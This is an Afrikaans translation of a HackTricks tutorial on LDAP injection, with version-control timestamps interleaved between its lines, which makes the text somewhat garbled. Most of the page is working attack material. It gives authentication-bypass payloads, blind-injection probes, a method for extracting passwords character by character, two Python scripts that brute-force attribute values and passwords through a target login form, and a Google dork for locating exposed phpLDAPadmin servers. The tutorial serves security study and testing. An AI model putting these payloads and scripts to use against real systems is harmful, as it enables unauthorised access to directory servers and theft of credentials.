2024-02-18 14:51:58 +00:00
# LDAP Inspruiting
2022-04-28 16:01:33 +00:00
2024-02-18 14:51:58 +00:00
## LDAP Inspruiting
2022-05-07 13:38:40 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-11 02:07:06 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-18 14:51:58 +00:00
Ander maniere om HackTricks te ondersteun:
2024-02-03 14:45:32 +00:00
2024-02-23 16:45:55 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-02-18 14:51:58 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Ontdek [**Die PEASS Familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Sluit aan by die** 💬 [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github-opslag.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-23 16:45:55 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-30 20:31:18 +00:00
2024-02-18 14:51:58 +00:00
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
## LDAP Inspruiting
2022-04-30 20:31:18 +00:00
2022-05-07 13:38:40 +00:00
### **LDAP**
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
**As jy wil weet wat LDAP is, besoek die volgende bladsy:**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md ](../network-services-pentesting/pentesting-ldap.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-08 20:38:29 +00:00
2024-02-18 14:51:58 +00:00
**LDAP Inspruiting** is 'n aanval wat gemik is op webtoepassings wat LDAP-verklarings van gebruikersinsette konstrueer. Dit gebeur wanneer die toepassing **misluk om insette behoorlik te saneer** , wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proksi, wat moontlik kan lei tot ongemagtigde toegang of data-manipulasie.
2020-07-15 15:43:14 +00:00
2023-02-14 11:55:05 +00:00
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
2021-10-18 11:21:18 +00:00
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(& )** = Absolute TRUE\
**(|)** = Absolute FALSE
2024-02-18 14:51:58 +00:00
Byvoorbeeld:\
2021-10-18 11:21:18 +00:00
`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
Jy kan toegang kry tot die databasis, en dit kan inligting van verskeie verskillende tipes bevat.
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
**OpenLDAP**: As 2 filters arriveer, voer dit slegs die eerste een uit.\
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout uit.\
**SunOne Directory Server 5.0**: Voer beide filters uit.
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
**Dit is baie belangrik om die filter met die korrekte sintaksis te stuur, anders sal 'n fout uitgegooi word. Dit is beter om slegs 1 filter te stuur.**
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
Die filter moet begin met: `&` of `|` \
2024-02-11 02:07:06 +00:00
Voorbeeld: `(&(directory=val1)(folder=public))`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
Dan: `(&(objectClass=` **`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word).
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
### Aantekeningsverbygaan
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. Dus, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehash word.
2020-07-15 15:43:14 +00:00
```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
2021-06-08 21:58:39 +00:00
--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
2020-07-15 15:43:14 +00:00
```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```
2024-02-11 02:07:06 +00:00
#### Lyste
2021-06-08 21:58:39 +00:00
2022-04-30 20:31:18 +00:00
* [LDAP\_FUZZ ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt )
2024-02-11 02:07:06 +00:00
* [LDAP Eienskappe ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt )
2024-02-18 14:51:58 +00:00
* [LDAP PosixAccount eienskappe ](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html )
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
### Blinde LDAP-inspuiting
2021-06-08 21:58:39 +00:00
2024-02-18 14:51:58 +00:00
Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blinde LDAP-inspuiting te bevestig:
2021-06-08 21:58:39 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```
2024-02-11 02:07:06 +00:00
#### Stort data
2021-06-08 21:58:39 +00:00
2024-02-18 14:51:58 +00:00
Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
2020-07-15 15:43:14 +00:00
```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
2024-02-11 02:07:06 +00:00
### Skripte
2020-07-15 15:43:14 +00:00
2024-02-18 14:51:58 +00:00
#### **Ontdek geldige LDAP-velde**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:55 +00:00
LDAP-voorwerpe **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor** . Jy kan probeer om **alle van hulle met geweld te ontsluit om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier** ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt ) vind.
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
2024-02-11 02:07:06 +00:00
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
2024-02-18 14:51:58 +00:00
#### **Spesiale Blinde LDAP-inspuiting (sonder "\*")**
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
2024-02-11 02:07:06 +00:00
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir& search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
2020-07-15 15:43:14 +00:00
```
2024-02-11 02:07:06 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
2022-05-07 13:38:40 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
2024-02-18 14:51:58 +00:00
### Meer Lading
2021-06-08 21:58:39 +00:00
2022-05-08 22:42:39 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
2024-02-23 16:45:55 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-18 14:51:58 +00:00
2024-02-23 16:45:55 +00:00
Indien jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke benodig_).
2022-05-08 22:42:39 +00:00
2024-02-18 14:51:58 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:45:55 +00:00
< summary > < strong > Leer AWS-hacking van niks tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-02-03 14:45:32 +00:00
2024-02-23 16:45:55 +00:00
* Indien jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-02-23 16:45:55 +00:00
* Ontdek [**Die PEASS-familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFT's** ](https://opensea.io/collection/the-peass-family )
2024-02-18 14:51:58 +00:00
* **Sluit aan by die** 💬 [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-23 16:45:55 +00:00
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github-opslag.
2022-04-28 16:01:33 +00:00
< / details >